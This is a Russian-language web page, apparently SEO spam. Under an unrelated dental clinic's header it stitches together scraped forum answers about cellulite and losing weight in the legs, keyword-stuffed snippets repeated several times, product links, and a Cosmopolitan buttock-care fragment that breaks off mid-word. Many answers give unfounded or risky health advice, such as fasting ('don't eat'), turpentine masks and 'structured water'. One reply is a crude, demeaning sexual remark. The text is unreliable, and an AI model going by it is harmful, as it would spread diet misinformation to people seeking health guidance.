Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Если убрать весь целлюлит с задницы и ног,объёмы уменьшаться?

Да уменьшаться

Чтобы убрать целлюлит с ног и попы, необходим комплекс мер.Как можно быстро убрать целлюлит с ягодиц? Что следует делать для того, чтобы избавиться от этой косметической проблемы на ногах?

Естесссно

Тока кожа будет висеть до пят.

Конечно!

При весе 49 кг у меня есть целлюлит. бред это все. рекламный трюк.

Целлюлит - организация хранения жира у жинщин.
убрать мона тока убрав жир.
= объем уменьшится

Резкое изменение объемов ведет к растяжению кожи и потере упругости.Как убрать целлюлит на ногах? Чтобы начать борьбу с целлюлитом, некоторым продуктам и привычкам придется сказать решительное нет .

Целлюлит есть даже у самых худых, но если просто жир сбросить то конечно объем уменьшится)

Не знаю!

Уменьшится, тока это не легко

Как убрать с ног и с попы целлюлит?

Побольшесекса и все будет путем

Эффективные упражнения как убрать целлюлит за неделю. К сожалению целлюлит это не только внешний дефект кожи.Стоя на ногах, наклонитесь вперед. Спина при этом должна быть ровной.Он поможет убрать дряблость кожи на животе и уменьшить объемы.

Есть специальные массажи антицеллюлитные. Но сначала лучш попробоавть похудеть. Советую почитать Монтиньяка

Ходить, бегать и как можно меньше сидеть и тем более лежать.

Не еш после 6 вечера и все пройдет_)))

Спортом.

По меньше есть,заниматься спортом,еще очень хорошо душ Шарко.Удачи.

Как убрать дряблость кожи. Если у вас 2 стадия целлюлита.Он образуется гораздо легче, чем лишний объ м и целлюлит на ягодицах либо на спине.Ноги на ширине плеч, руки - на поясе. Влево-вправо, влево-вправо короткими движениями.

Ну, во-первых, нужно правильно питаться, всякие там овощи-фрукты употреблять. Во-вторых, заниматться спортом. Как банально бы это не звучало, но это и есть главная состовляющая борьбы с целлюлитом. Так как происходит приток крови к застоявшимся местам, и жир сжигается, и все такое. А в-общем то это требует большоего желания, и настойчивости, потому что просто так за один день, ничего не сделать. Вот так.
И кстати все эти кремы - чушь, они воздействуют только на верхний слой кожи и не проникают глубоко, до нужного слоя кожи, а еще они вызывают привыкание.

А как остальные части тела, там тоже должен быть

Только активный секс помогает
собственный опыт

Антицеллюлитными средствами. http://vostoc.intwaystore.com/

Ноги

Никак его не убрать!!!

Как убрать целлюлит на ногах бедрах !? Это просто! Целлюлит является довольно распространенной косметической проблемой, в первую очередь среди женщин встречается у 85 98 % , хотя стоит отметить, что иногда его признаки отмечаются и у мужчин...

Фирные масла усилят действие "Антицеллюлитной программы", а главное - вплетут в ваш образ ауру растительных ароматов.
Герань (1 капля на 5 мл основы) стимулирует лимфообращение и выводит токсины.
Грейпфрут (3-5 капель на 15 мл основы) регулирует жировой обмен, очищает, дезинфицирует и тонизирует кожу.
Пачули (1-5 капель на 10 мл основы) придает упругость и свежесть сухой и утомленной коже, способствует быстрому обновлению клеток эпидермиса.
Розовое дерево (1-3 капли на 5 мл основы) обеспечивает мягкий уход, питает и увлажняет.
Лаванда (4 капли на 10 мл основы) хорошо очищает и питает кожу, увлажняет ее, снимает раздражение и шелушение.
Лимон (2 капли на 5 мл основы) помогает справиться с бактериально-вирусной сыпью, подходит для ухода за жирной кожей.
Привлекательность является самым сильным оружием женщины. Благодаря своей красоте мы побеждаем! Сегодня для наших побед создана лучшая косметика по уходу за телом. Избавляясь от целлюлита и при этом не измождая себя диетами и тяжелыми физическими нагрузками, мы дарим себе гладкую ухоженную кожу, а, значит, красоту, душевное спокойствие и твердую уверенность в себе.

Использовать виды А, Ц, массажа с А, Ц, масками или с А, Ц, обвёртываниями, у моих пациенток исчезает Ц. и объёмы уходят на 4-4,5см

Эф. масла (св-ва масел в инете) с маслом-основой энергично втирать после ванны, душа..

Бегать надо или на прыгалках поскакать раз 100 в день не только целлюлит исчезнет, но и другие мышцы подкачаешь!! ! Удачи!!!

Как ухаживать за волосами на ягодицах?

Мыть с шампунью и бальзамом)))) )

Как убрать целлюлит? Стадии целлюлита, 10 правил борьбы с апельсиновой коркой.Целлюлит на ногах. Согласно статистике целлюлитные отложения встречаются у каждойУвеличиваясь в объеме, жировые клетки мешают нормальной циркуляции крови и лимфы, в...

Маски втирать, расчёсывать.. .

Косички заплетай.. .

Удалять

Маски делать горчичные и скипидарные. И, да, мне помогает

Я не знаю зачем ухаживать за волосами на ягодицах их обычно все удаляют . Так что если ухаживать за своими ягодицами.
COSMOPOLITAN
AdRiver
ACUVUE+COSMO
Ты в журнале!
ВХОД
МОДА
ОТНОШЕНИЯ
КРАСОТА
ЗДОРОВЬЕ
ЗВЕЗДЫ
СТИЛЬ ЖИЗНИ
ПСИХОЛОГИЯ
КРАСОТА — Тело
Уход за попой
Уход за попой
AdRiver
AdRiver
Cosmo Online
редакция Cosmo.ru
15 ЯНВАРЯ 2013Г.
Cosmo: Октябрь 2012
ПОДЕЛИСЬ С ДРУЗЬЯМИ
ВКЛЮЧАЙСЯ В ДИСКУССИЮ
13
Даже не сомневайся: твоя попа обязательно будет самой-самой-самой красивой! Ну, конечно, не сразу и не просто так.
Попа Разглаживай и подтягивай
Принимай контрастный душ, уделяя особое внимание зоне ягодиц и внешней части бедер.
Тщательно помассируй проблемные места жесткой мочалкой или скрабом. Отшелушивай кожу мелкими круговыми движениями, можно делать это костяшками пальцев, сжав руки в кулаки. После душа нанеси на попу маску (и ничего, что на баночке написано «для лица»! ) с увлажняющим и подтягивающим эффектом, добавив в нее щепотку свежемолотого кофе. Кофеин способствует сжиганию жира и улучшению кровообращения, разглаживает кожу ягодиц и делает ее упругой. Оставь средство на 10 минут, затем смой. Нанеси на сухую кожу лифтинг-продукт для бедер и ягодиц.
Правильно подбирай белье
Если попа у тебя плосковата, тебе подойдут разноцветные трусики V-образной формы сзади: она визуально придаст пятой точке немного объема.
Если у тебя спортивная накачанная зад­няя округлость, тебе нужны шортики с завышенной талией, которые будут кокетливо открывать нижнюю часть красоты. Если у тебя пышные ягодицы, тебе подойдут либо танга, демонстрирующие все формы, либо трусики с завышенной талией, которые зрительно немного уменьшат объем.
Тонируй кожу
Если лето ты провела не на нудистском пляже, наверняка твои ягодицы сияют белизной, и не грех их немного подрумянить.
1. Прими душ со скрабом, чтобы удалить отмершие частички кожи: это поможет автозагару лучше лечь и дольше продержаться. Хорошенько высуши кожу полотенцем.
2. Поставь правую ногу на край ванной (на натянутую кожу загар ляжет ровнее) , возьми мягкий спонж и наноси автобронзант на ягодицу широкими круговыми движениями.
3. Не снимай ногу с бортика примерно 2 минуты, чтобы средство успело полностью высохнуть.
4. Повтори все то же самое с левой ногой.
5. Когда закончишь процедуру, удали излишки средства чистым спонжем.
Тренируй мышцы
Все эксперты согласны с тем, что 8-часовое сидение на попе снижает ее «качество» . Но что же делать, если у тебя сидячая работа? Выход есть!
Переключай механизм.
Вставай с кресла как минимум каждые полчаса — ненадолго. Тем самым ты будешь разгонять кровь, а ведь застой крови ведет к целлюлиту. Пока сидишь, тоже меняй позы: сначала облокотись на спинку кресла и расслабься, потом передвинь попу ближе к краю кресла и держи спину ровно. Никогда не сиди в промежуточном положении: со сдвинутой назад поясницей и сутулой спиной.
Потягивайся.
Встань, поставь ноги на ширине плеч, распрями спину. Руки положи на поясницу, сведи лопатки и прогнись в пояснице. Постарайся прочувствовать все мышцы спины. Такое потягивание активирует мускулы, которые были расслаблены во время сидения.
Моменты ПОПулярности
В 2002 году Мисси Элиот ввела моду на темнокожих красавиц с округлостями.
В 2005 году Джессика Симпсон продемонстрировала свои ягодицы в фильме «Придурки из Хаззарда» , надев ультракороткие шорты.
В 2007 году на вечеринке после шоу Victoria’s Secret Хайди Клум надела брюки с такой низкой талией, что было видно большую часть попы.
В 2009 году были выпущены первые кроссовки, моделирующие форму ягодиц во время бега и занятий спортом.
В 2011 году во время королевской свадьбы принца Уильяма все взгляды были прикованы к… попе сестры невесты. Присев расправить фату Кейт, Пиппа Миддлтон продемонстрировала шикарные формы, обтя

Все рекомендации о том, как убрать целлюлит на ногах, практически единогласно озвучивают следующее комбинируйте правильный рацион1. Правильное питание должно - включать лук, огурцы, петрушку, перец, помидоры, корицу, большой объем жидкости очищенной воды .

Все зависит от длины и качества волос )))
xD

Как похудеть в бедрах с упражнениями. только не велосипед от него икры становятся большмим

Можно просто махать ногами, руками, делать зарядку, можно сказать, 3 раза в день. И все будет хорошо!

Если эти проблемы вам знакомы не понаслышке, вы рано или поздно столкнетесь с вопросом, как убрать целлюлит с бедер, попы, ног и живота.Внешне это проявляется в увеличении объема ягодиц и ляшек, после которых и появляется целлюлит на попе и бедрах.

Должен Вас огорчить, но похудеть локально нельзя! Можно похудеть везде, и на бедрах женщинам сложнее всего. Изучите вопрос диет и качественных тренировок.

Малоинтенсивные длительные нагрузки уменьшают объем мышц. Подберите упражнения на эти мышцы и делайте каждый день не менее 15 раз за один подход и подходов побольше.... сколько сможете...

Вот-вот, приседания с небольшим весом, 15 повторений 4 подхода

Ищите программы тренировок и питания Сергея Сивца (самый лучший тренер по бодибилдингу и фитнесу) .
Для дома, улицы и тренажерного зала.
Они самые эффективные!

1 смена питания
2 тренировки с уклоном на вашу проблему.
упражнений масса - наиболее удачные это глубокие приседания, становая тяга, выпады вперед, а также упражнения из передач типа "утренних зарядок" - отводить ноги в стороны, в бок из положения лежа и стоя на коленях.

Как убрать целлюлит на ногах? Сначала потребуется определить стадию целлюлита, их всего четыре. Первые две можно убрать самостоятельно, но третья и четвертая требуют врачебного вмешательства и иногда даже операции.

Упражнения для бедер и ягодиц.
1. Ноги на ширине плеч, немного согнуты в коленях.
Делать наклоны, МЕДЛЕННО, по 10 в каждую сторону.
(убирает излишки жира с боков - в народе называемый "спасательный круг").
2. Лечь на спину, носки на себя.
Поднимаем медленно одну ногу, затем другую. По 10 раз каждой.
(качается нижний пресс, подтягивает мышцы ног) .
3. Лечь на спину.
Поднимаем одну ногу, приподнимая туловище, делаем хлопок под коленом. По 5 хлопков под каждой ногой.
(качается верхний пресс) .
4. Лечь на спину, согнуть ноги в коленях.
Приподнимаем таз и держим на весу 20 секунд. 15-20 раз.
(укрепляет мышцы спины, качает все группы мышц пресса) .
5. Лечь на правый бок.
Поднять левую ногу, желательно на 90 градусов, держим её левой рукой и поднимаем правую ногу к левой. Так же и с другой стороной.
(укрепляет и подтягивает боковой пресс, снимает лишнее с бедер, так называемые уши) .
6. Лечь на живот.
Подняться на руки, желательно расставить руки шире плеч. Ноги скрестить. Делать отжимания от пола. Для начала 10 раз. Затем каждый день увеличивая на 1 раз.
(подтягивает мышцы груди и мышцы рук, избавляет от обвислой кожи на руках)
7. Сесть на попу. Скрестить ноги по-турецки.
Перекатываться с одной стороны на другую.
(разбивает жир и целлюлит на попе, делая ее ровной и упругой).

Как похудеть и убрать целюлит, живот и прочее?

Ну как минимум исключи все мучное полностью, сладкое, сильно соленое и жареное. Не ешь много. Не ешь за три часа до сна. Ешь по чуть чуть раза 4 в день. Готовь сама себе все на пару. Не ленись это самое главное! Выработай привычку себе, как зубы по утрам чистить! Делай дома упражнения, присидания, пресс. Гуляй почаще пешком на большие расстояния. Удачи тебе.

СодержаниеДиета для ног - это основа для похудения в бедрах и ягодицахКак убрать целлюлит на ногах и лишний объем с помощью массажа

Спорт, спорт и спорт. Целлюлит это жир. Жир уберешь, останется мышца, она гладкая, целлюлита не будет.

Диета + спорт + правильное питание. Отказаться от сладкого, жирного, соленого, мучного, от газированных напитков и от мучного. Спрячь веся и купи метровую ленту. Следи за объемом, а не за КГ. Главное не ленись.

Нужно идти в тренажерку, там тренера конкретно вами займутся, одна диета ничего не даст. Образ жизни необходимо менять.

Диеты в таком возрасте противопоказаны, организм у вас только формируется. Исключите мучно (в т. ч. и хлеб), сладкое, больше овощей свежих, отварных запеченых, не жирное мясо и рыбу отварное или в пароварке. Не есть продукты повышающие гликемический индекс. Питаться каждые 3 часа по небольшым порциям (200-250г), выпивать воды 1,5-2 литра в день плюс физ нагрузки

Бегать Вам нельзя! Бег ушатает Ваши коленные суставы, начинайте с щадящих физических упражнений и самое главное - питание изменить! Без этого никак. Никакого жареного, жирного, мучного, кроме серого/черного хлеба, никаких чипсов и прочего пищевого мусора. Это ожирение, его лечить надо в комплексе. К диетологу сходить можно, если есть такая возможность и эндокринологу. А с месячными как дела обстоят? Это важно.

Гораздо чаще женщин беспокоит, как убрать целлюлит на ногах, так как неэстетичныеЭто улучшит состояние кожи, волос и ногтей, нормализует обменные процессы, поможет убрать объем подкожной жировой клетчатки, которая становится причиной появления целлюлита.

Правильный план питания + регулярное посещение тренажерного зала с правильно подобранной системой тренировок. Никакого чудо средства, которое все сделает легко и быстро не существует. Что бы добится эффекта быстрее, можно выгонять лишнюю влагу из организма - сауна, либо шорты для похудения Хот Шейперс http://www.telemagazin.info/product/shorty-bridzhi-dlja-pohudenija-hot-shejpers/ в них можно проводить тренировки.

Сколько мне надо скинуть кг и какой это у меня тип фигуры?

Как убрать целлюлит на ногах маленькие секреты большого успеха. Какая девушка не мечтает о стройных и подтянутых ножках, глядя на которые все мужчины будут готовы преклониться пред ними?

А сколько тебе лет?

50 красиво

Тип фигуры - груша, скорее всего

Зачем нам всем смотреть на ваш целлюлит... худейте сами сколько сможете без нас... фото безобразное

Оо тут работать и работать над собой

Как убрать целлюлит на попе и ногах. Никто не усомнится в том, что стройные ножки женщин являются их визитной карточкой. Все вполне объяснимо, ведь обладательницы воистину красивых ног могут без капли смущения носить короткие юбки и платья.

Побольше секса!

Прямоугольник
15кг

Бока ноги подкочай и конфетка!!

Жир сожрал трусы.

Ох ты ж Ё....я была значительно худее вас, но даже сбросив 23 кг, все еще далека от идеала, еще кг 7 буду скидывать. ну и вам не меньше 30 надо убирать. а так, не обижайтесь конечно, но запустили вы себя... о форме фигуры пока сложно что то говорить. покупайте тяжелый (не меньше 800 гр) пластиковый массажный обруч с пупыпями, по 40 минут в день крутите, через месяц вырисуется талия и значительно уйдут складки со спины. ну и строгий подсчет калорий (весы кухонные надо купить для этого).

Как убрать целлюлит на ногах летом, в пору коротких юбок и шортиков? Целлюлит главный враг открытой одежды. И обнаруживается данная патология не только у полных девушек.

Похоже на прямоугольник! Особенности: объем талии мало отличается от объема груди и бедер.
Физическая нагрузка: категорически запрещены упражнения с нагрузкой косых мышц живота, от которых талия станет еще шире. Классические приседания и упражнения с гантелями позволят подкачать бедра и грудь, благодаря чему талия будет смотреться значительно тоньше.
Питание: Люди такого морфотипа не нуждаются в строгих диетах. Дробное питание небольшими порциями и рацион, обогащенный клетчаткой и белком, помогут достичь более женственных форм.
Вот тут все про типы фигуры написано, посмотрите сами [ссылка заблокирована по решению администрации проекта]

Как похудеть в ногах, бедрах и икрах? Интересует мнения тех, кто справился с этой проблемой!

Пищевой пленкой обмотаться (можно под нее антицеллюлитное обертывание) и на велотренажер.

Убираем целлюлит Отличный результат! Наконец-то я нашла этот супер-рецепт!!!! Тонкая талия и отсутствие целлюлита обеспечены!Часть 5 - ЕСЛИ ПОТЕЮТ НОГИ Часть 6 - Как избавится от мозолей?

Не проблема самое эффективное это кросс

У подруги (моя бывшая девушка) была такая проблема, она очень много бегала и очень мало питалась, в основном творожком, яблочками, с 70+ похудела до 48, но по вылезали проблемы со здоровьем после этого, так что.. . аккуратнее

Для того, чтобы ответить на этот вопрос и дать совет надо знать сколько человеку лет, рост, вес.
Если тётенька в 50 лет, которая небольшого роста и полная и хочет похудеть, то это одно и другое, если это подросток, который вырастает и ему не нравится его фигура потому, что хочет остаться в прежних размерах... девочки.. .
Аватарки не в счёт, кого только туда не размещают.
Если посмотрите на свою маму, то поймёте, что у вас кость широкая и вы ничего не сможете сделать со своими бёдрами.
Прессотерапией можно частично убрать, но незначительно, если полностью не сбросить вес.
У нас всё взаимосвязано и коротышка никогда не превратится в модель с подиума, как бы ей этого не хотелось.

В области длинных штанишек у женщин преобладаюи вета-жировые клетки. Они увеличиваются в объеме, если им не достает воды. Пейте простую чистую структурированную воду ( можно талую делать ), тогда эта проблема не будет сильно выражаться...

Мне бег помог, но если сердце больное или бег противопоказан, то не знаю что. я на 8 кг похудела за месяц, а бедра на 4см только спали (

Как можно быстро убрать целлюлит на ногах. Если вы обладательница стройных и красивых ног, вам можно позавидовать. В одежде любой длины вы будете ловить на себе восхищенные взгляды прохожих.

Мне хорошо помог вакуумно-роликовый массаж. В прошлом году проходила курс из 10 процедур, избавилась от целлюлита. Плюс уменьшились объемы и кожа подтянулась. Сейчас придерживаюсь здорового питания, периодически хожу на фитнес - эффект держится. Если будете делать, обратите внимание на аппарат, от него во многом результат зависит. Я уже не помню, какой был в моем случае, проходила курс в клубе красоты Ангел (в питере) , можно у них узнать, если нужно.

Пожалуйста помогите,как сбросить лишний вес на ногах??

Не ешь

Соответственно, замеченный эффект да т подсказку, как убрать целлюлит на ногах и на попе в домашних условиях нужно заставить кожу потеть.Его особенностью является то, что он помогает даже при значительном объ ме избыточного жира в проблемных зонах.

Физические нагрузки

Тебе любой тренер по фитнесу скажет что вес на отдельной части тела, выборочно может пропасть только оперативным путем. а от любых упражнений жир равномерно по всему телу уходит.
Спортом занимайся, бег всякие скакалки приседания, Разумеется питание режимное ...это же очевидно

При этой фигуре ты не знаешь что жир с одного места убрать нельзя.

Не есть нельзя - ничего не уйдет. Мне помогла ежедневная ходьба в быстром темпе (6.5 км/ч) по 30-50 мин. И ноги накачала, и похудела.

Как похудеть в ногах, если у вас развиты мышцы бедер и икр ?
Как похудеть в ногах
Распространенные ошибки:
Не голодайте, так вы только наживете себе расстройство пищевого поведения. Бедра "уменьшатся", если вы сможете качественно сжечь жир. А вот от голода они только потеряют тонус.
Не используйте "шейпинг-диету" или план питания без протеина в день тренировки. Вам нужны небольшие порции белка, чтобы поддерживать метаболизм и тонус. Если вы будете питаться только овощами, объемы не спадут, а вот целлюлит, вероятно, появится.
Наверное, больше всего слез пролито не из-за настоящего лишнего веса, а по причине этой генетической особенности.
Мускулистые бедра и икры - это достоинство, но вот "обточить" их строгой диетой не получится.
Руководство к действию:
Вам необходимо дробное питание. При этом следить надо не только за количеством белка в рационе, но и за количеством простых углеводов.
На языке меню это выглядит так:
завтрак - любая каша на воде без сахара,
перекус - зеленое яблоко,
обед - овощной суп, 150 г куриной грудки, тушеные овощи,
перекус - стакан кефира,
ужин - 300 г овощного салата, 100 г рыбы.
Этот план довольно строгий, но в сочетании с тренировками он позволит сжечь жир и увидеть "масштаб проблемы".
Во время похудения вы должны больше работать в кардиозоне.
Выбирайте тренировки на эллиптическом тренажере, тай-бо или танцы, и не забывайте о растяжке.
Дополнительно можете пару раз "забежать" на урок Pump, если бедра не "растут". После того, как жировая прослойка уйдет, вам необходимо будет осторожно перейти на режим: 2 статические силовые (каланетик, пилатес, боди баланс) и три аэробные тренировки в неделю.
А вот "железо" тренажерного зала не поможет вам похудеть в ногах.
Как похудеть в ногах, если бедра покрывает жировая прослойка ?
Распространенные ошибки:
Не пытайтесь принимать БАДы для похудения. Индивидуальная реакция тела на них непредсказуема, все может закончиться даже нарушением липидного обмена и прибавкой веса;
Не носите шорты для похудения. Этот "инструмент" предназначен для обладательниц мускулистых бедер, которые отлично "набирают воду". А вот если жировая прослойка велика, шорты, скорее, приведут к проявлению целлюлита.
Звучит не очень, правда?
Зато вы сможете похудеть в ногах намного быстрее!
Руководство к действию:
Если обладательницы больших мускулов от природы должны дозировать силовую нагрузку, то вам-то тренажерный зал показан в первую очередь.
Вот только заниматься в нем надо по схеме "аэробно-силовой тренинг".
Допустим, вы разминаетесь 20 минут на дорожке, а затем работаете силовые движения с небольшим весом по 20-25 повторов одно за другим.
В конце "круга" отдыхаете несколько минут и повторяете.
А после опять забираетесь на дорожку и делаете кардиотренировку низкой интенсивности, примерно 30 мин.
Ваш рацион должен составлять 1200-1700 ккал, строгое "табу" только жареному, майонезу, "рекам" из растительного масла, выпечке и сладостям кроме фруктов.
Обратите внимание на Диету для уменьшения бедер.
Постарайтесь наладить здоровое питание для похудения и ваши ножки обязательно постройнеют.

Для того чтобы быстро убрать целлюлит на ногах нужно видоизменить фиброзно образующую субстанцию и уменьшить жировую клетку.При этой процедуре будет не только исчезать целлюлит но и уменьшение объемов будет очень заметно.

Больще гуляйте на воздухе и причем каждый день километров по 6. И будут результаты.
Гимнастика которая поможет добиться стройности бедра должна включать бег. Часто стройности бедра можно добиться обычной быстрой ходьбой. Довольно эффективно приводит в форму бедра упражнения велотренажере.. . только не переусердствуйте, чтобы потом не быть похожим на бодибилдера))))) )
И самое эффективное, на мой взгляд, упражнение для стройности бедра: кардиотренировка из приседаний - 20 секунд приседаете - 10 секунд отдыхаете и так в течение четырех минут т. е. 8 подходов. Дополнительным плюсом к форме бедра будет крепкая спина если во время приседаний вы будете держать руки в замке за головой.

Ты прости за грубость-но я тебя и такой отодрал)) Милая, какой идеал ты ищешь? -Ты индивидуальна, таких нет, гордись этим! Чего тебе не хватает? Может проблема самоотценки? Ты прекрасна, слов нет, но если ты хочешь наэтом продвинуться, то пару лямов ноги раздвинь, тогда только это возможно!!!) )
Знаешь сколько таких тупых кур встречал? =Не гонись за славой-это 99% облом.
Ножки подправить?, а что не так? на плечах они смотрятся очень даже)) Так что не гони, всё у тебя с весом в поряде!!!

Нужен каблук, чтобы увеличить длину ног

Бегать

Прыгай. как можно больше.
но ты и так хороша.

Как видите, убрать целлюлит на ногах, валяясь на диване перед телевизором, у вас никогда не получится. Перейдите к активному образу жизни, питайтесь правильно

Поправилась примерно на 15 кг после родов как похудеть? Как убрать живот

Давно родили? Сколько вам лет? Просто есть шанс, что само уйдет, если вам о 30 и родили месяца три назад. А так спортзал и питание

Живот подвисал, целлюлит на ногах, растяжки на попе - жуть!Гимнастика для борьбы с целлюлитом. C чего начать заниматься спортом. Упражнения для красивой груди. Как похудеть и убрать лишние объ мы, целлюлит, растяжки.

Если вы кормите грудью - то сейчас худеть опасно. Если нет - просто употребляйте в сутки не более 1500 ккал и больше двигайтесь.

Я поправлю - не менее 5 раз в день, но это не значит, что нужно обжираться. Это делается для того, чтобы организм не входил в режим экономии и не стал делать накопления в виде жира.
За сутки пить не менее 2 л жидкости, натощак обязательно стакан воды (для активации пищеварительного тракта) , через 20 минут кушаем. После еды пить не раньше, чем через 40 минут. Каждый час пить по стакану воды, лучше мелкими глотками, можно с лимоном. Последний прием пищи за 3-4 часа до сна. чай без сахара, кофе вообще без добавок. Про спорт не забываем, если не хотим кучу целлюлита и дряблую кожу. Фрукты лучше есть с утра, про бананы и виноград забыть. Салаты - со сметаной, йогуртом (только натуральным) или маслом. Жирное и мучное - до минимума. ДЛЯ РАЗГОНА МЕТАБОЛИЗМА есть часто и маленькими порциями, не более 200 г за раз и никаких перекусов! Сидеть на огурцах и гречке с кефиром - нельзя. еда должна быть разнообразной, иначе можете получить ломкие волосы, вялую кожу, слоящиеся ногти, нарушение менструального цикла и другие неприятности. В результате МОНОДИЕТ Вы лишь выводите ЖИДКОСТЬ из организма, немного уменьшитесь в объемах и потеряете пару-тройку килограмм за короткое время. Но жидкость быстро вернется и все будет по-прежнему. В БЕЛОМ И СЕРОМ ХЛЕБЕ калорий одинаково, так что без предрассудков - ешьте без хлеба или переходите на ржаной, он полезнее. Из алкоголя - только красное сухое вино. ПОСЛЕ 16:00 - только белковая пища. углеводы во второй половине дня превращаются в жир. кофе, сигареты, алкоголь, газировка, чипсы, колбаса, майонез, кетчуп - враги. ассоциируйте их с целлюлитом и толстыми боками! И НЕ НУЖНО себя ограничивать полностью во всем - Вы станете нервной и будете в постоянной депрессии, что все равно приведет к срыву и тогда все труды насмарку. ЖИР с живота НЕ сжигается когда Вы работаете над мышцами пресса. пресс будет, но под слоем жира, так что живот даже увеличится в объеме. Лучше всего ОТ БЕДЕР помогают махи, ОТ ИКР - растяжка, ОТ НОГ - ходьба. БАНИ И САУНЫ не сжигают жир, они только выводят воду из организма, которая возвращается через 2 часа. НЕВОЗМОЖНО сделать так, чтобы похудел ТОЛЬКО живот, или ТОЛЬКО бока, например. Если Вы поправляетесь - то везде. Если худеете - то тоже везде. В первую очередь, жир уходит со щек, груди, боков, бедер, ягодиц и в последнюю очередь - с живота. Жир - это стратегический запас организма. Жир на животе к тому же еще защищает внутренние органы. Поэтому с живота он очень трудно уходит.
ВАМ НУЖНА МОТИВАЦИЯ, чтобы чего-то добиться и не бросить начатое.
Как мотивировать себя?
1. ПРИЧИНА.
Небезразличная причина может быть мощным источником мотивации.
2. МЕЧТА.
Дюма-старший сказал "Легче всего осуществимы те мечты, в которых не сомневаются"
3. ЖАЖДА.
Просто хотеть недостаточно. Вы должны жаждать. Именно жажда в достижении цели помогает победить все препятствия.
4. СРАВНЕНИЕ С САМИМ СОБОЙ.
"Я не пытаюсь танцевать лучше других, я пытаюсь танцевать лучше, чем я сам. " М. Барышников
Жизнь, отношения, работа, фигуры разных людей индивидуальны. Их нельзя сравнивать. Соревнуясь с другим человеком, Вы будете так же глупо выглядеть, как бегун соревнующийся с пловцом или футболист соревнующийся с велосипедистом. Единственный КОНКУРЕНТ, которого Вы должны стремиться обойти - это Вы сами. А сравнение себя с другими может привести к демотивации. Сравнение Ваших успехов с успехами других людей быстро лишит Вас бодрости духа. Не дайте этому случиться.
5. ЕЩЕ ОДИН ШАГ.
"Успех - не окончателен, неудача - не смертельна. Мужество продолжать - вот что имеет значение. " У. Черчилль
6. ОТПУСТИТЕ ПРОШЛОЕ.
"Закончив день, забудьте о нем. Все, что могли, Вы сделали. "
Один из сильнейших ДЕмотиваторов - это Ваше прошлое. Оно тяжелым бременем лежит на Ваших плечах, мешая двигаться вперед.
Я очень надеюсь, что все, написанное здесь мной, Вам поможет) Удачи в похудении!)

Живот нельзя убрать какими то упражнениями, только снизить процент жира в организме ...меньше есть и больше двигаться.
Вес тела начинает снижаться только тогда, когда объем поступаемой энергии в виде пищи ниже объема расходуемой организмом

Ребенку сколько? Мириманову "Минус 60" почитайте, или Маргариту Королеву "Похудеть навсегда"

Валентина Шляндина, Вы с ума сошли что ли? Если снизится общий процент жира в организме, можно и дуба врезать! Жиром защищены наши внутренние органы. И вопрос не в том чтобы меньше есть, а в том, ЧТО мы едим. Если объем поступаемой пищи будет ниже объема расходуемой организмом, наступит истощение организма.
Когда Вы снижаете калорийность (кстати, доводить свой рацион до отметки ниже 1300 ккал в день категорически запрещено! ) , то организму становится неоткуда брать вещества для жизнедеятельности, а запасики жира на боках начинают рассасываться. Складочки расходуются на движение, умственную работу, обогрев. А потом организм привыкает и даже пугается: не костлявая ли рука голода потянулась к Вам? Не пора ли перестать беспечно сжигать запасы? Внутренний "кладовщик" урезает расход и перечень потребностей - ВЕС СНИЖАТЬСЯ ПЕРЕСТАЕТ, и из каждого съеденного кусочка в организм откладывается чуть-чуть "ПРО ЗАПАС". После того, как Вы занялись тренировками, МЕТАБОЛИЗМ ПОДСТЕГНУЛСЯ, и килограммы снова начинают таять. Но через некоторое время организм снова подстраивается и ПЕРЕСТАЕТ ХУДЕТЬ.
Есть такая система питания - ЧИТИНГ (загрузочные дни) .Если Вы мечтаете эффективно худеть, то раз в неделю-две нужно проводить день в "обжираловке". Т. е. иногда свой метаболизм нужно шокировать, чтобы тело голода не страшилось. Есть можно почти все. Главное - меньше жира, больше протеинов и медленных углеводов (каши, овощи, фрукты с высоким содержанием клетчатки) . Как можно меньше простых углеводов вроде сахара и как можно больше воды. Если читинг длится дольше 2 дней подряд, то добавлять нужно около 10-20% обычного рациона. Это немного. Если Ваш обычный рацион - 2000 ккал, то в загрузочные дни можно добавить еще 400 ккал. Если читинг длится всего 1-2 дня, то смело увеличьте "калораж" на 1-2 тыс. калорий! Загрузочные дни должны "случаться" раз в 1-2 недели, от 24 до 72 часов (оптимально - 48). Ну конечно, если Ваша диета продлится всего месяц, то читинг Вы можете себе позволить только один раз - через 2 недели от начала диеты. А если диета длительная, полгода и более, то смело можете устраивать себ читинг через каждые 5 дней по 24 часа! Ну а вообще, длительность - величина индивидуальная, поскольку скорость отклика у каждого организма своя. Цель читинга - разогнать метаболизм, убедить организм, что урезать расход энергии не нужно. ЧИТИНГ - метод мягкий и эффективный, НО только при разумном подходе. Регулярное общение со спортом, поддержание диеты и любовь к себе - этого никто не отменяет! ) ) ) Удачи в Вашем похудении! И слушайте меньше глупостей от неспециалистов)

Чтобы убрать целлюлит с ног и попы, необходим комплекс мер.Как можно быстро убрать целлюлит с ягодиц? Что следует делать для того, чтобы избавиться от этой косметической проблемы на ногах?

Как уменьшить икры? жир на икрах

Делай пробежки каждый день

Резкое изменение объемов ведет к растяжению кожи и потере упругости.Как убрать целлюлит на ногах? Чтобы начать борьбу с целлюлитом, некоторым продуктам и привычкам придется сказать решительное нет .

Посмотри на своих родственников, скорее всего, это наследство)

Развивай мышцы ног

Берешь пылесос и подносишь к жопе.

Велотренажер, но без нагрузки, даже лучше с электроприводом. Пешие прогулки. Все что приводит к улучшению кровообращения.

Припарки в бане берёзовым веником.

Эффективные упражнения как убрать целлюлит за неделю. К сожалению целлюлит это не только внешний дефект кожи.Стоя на ногах, наклонитесь вперед. Спина при этом должна быть ровной.Он поможет убрать дряблость кожи на животе и уменьшить объемы.

Займитесь спортом!

Меньше кушаешь-меньше про икры думаешь....

1)упражнения
например: 1. напрягая икры, становись на носочки и максимально поднимайся вверх, стой так 5 секунд, затем становишься на полную стопу (на 1 секунду) и так несколько подходов по 20-30 раз
2.прыжки на скакалке
2)больше ходьбы + ходить по ступенькам, а не ездить на лифте.
3)правильное питание

Приседай, бегай, больше ходи, плавай (ну это не обязательно, но помогает) . у меня толстоватые ляжки были, я приседала 30 раз в день, так и похудела.

